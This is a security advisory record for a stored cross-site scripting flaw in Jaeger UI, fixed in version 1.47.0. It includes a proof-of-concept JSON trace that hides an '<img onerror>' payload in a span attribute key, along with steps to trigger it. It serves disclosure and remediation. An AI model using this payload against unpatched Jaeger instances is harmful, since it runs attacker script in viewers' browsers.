A stored XSS in jaeger UI might allow an attacker who controls a trace to perform arbitrary jaeger queries
Key facts
- Attack vector
- —
- Privileges required
- —
- User interaction
- —
- Attack complexity
- —
- Impact type
- Cross-site scripting
- Confidentiality · integrity · availability
- —
- Fix status
- Fixed
No CVSS vector from any source. Fix status from GitHub. Impact type from CWE-79.
Summary
Related UI vulnerability advisory: https://github.com/jaegertracing/jaeger-ui/security/advisories/GHSA-vv24-rm95-q56r ### Summary Jaeger UI is using the `json-markup` dependency to display span attributes and resources. This dependency is not sanitising keys of an object though, thus the `KeyValuesTable` is vulnerable to XSS. ### Details The vulnerable line is here: https://github.com/jaegertracing/jaeger-ui/blob/main/packages/jaeger-ui/src/components/TracePage/TraceTimelineViewer/SpanDetail/KeyValuesTable.tsx#L49 ### PoC 1. Start a Jaeger UI 2. Save the following trace as a file: ```json { "data": [ { "traceID": "076ef819cc06c45a", "spans": [ { "traceID": "076ef819cc06c45a", "spanID": "076ef819cc06c45a", "flags": 1, "operationName": "and open 'attributes'", "references": [], "startTime": 1678196149232010, "duration": 13485, "tags": [ { "key": "sampler.type", "type": "string", "value": "{\"<img src=x onerror=alert(1)>\":\"test\"}" } ], "logs": [], "processID": "p1", "warnings": null } ], "processes": { "p1": { "serviceName": "click here", "tags": [ ] } }, "warnings": null } ], "total": 0, "limit": 0, "offset": 0, "errors": null } ``` 3. Upload that trace to Jaeger UI in order to visualise it. 4. Open the trace, open it's span's attributes. 5. XSS should be fired. ### Impact This is a XSS on Jaeger UI. XSS can be used to run JavaScript.
Why it matters now
SSVC decision points
Not available: CISA has not published SSVC decision points for this record.
Affected products
| Vendor | Product | Affected versions | Fixed in | Status | Source |
|---|---|---|---|---|---|
| — | github.com/jaegertracing/jaeger (Go) | before 1.47.0 | 1.47.0 | Patch available | GHSA-2w8w-qhg4-f78j |
- github.com/jaegertracing/jaeger (Go) Vendor— Affected before 1.47.0 Fixed in 1.47.0 Patch available GHSA-2w8w-qhg4-f78j
Remediation
- Fix · GHSA-2w8w-qhg4-f78j github.com/jaegertracing/jaeger (Go) Fixed in 1.47.0 Advisory →
Timeline
- 2026-10-03 Threatist record created from GHSA-2w8w-qhg4-f78j
References
Other 4
- https://github.com/jaegertracing/jaeger-ui/security/advisories/GHSA-vv24-rm95-q56r
- https://github.com/jaegertracing/jaeger/security/advisories/GHSA-2w8w-qhg4-f78j
- https://github.com/jaegertracing/jaeger
- https://github.com/jaegertracing/jaeger-ui/blob/main/packages/jaeger-ui/src/components/TracePage/TraceTimelineViewer/SpanDetail/KeyValuesTable.tsx#L49
Sources
This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences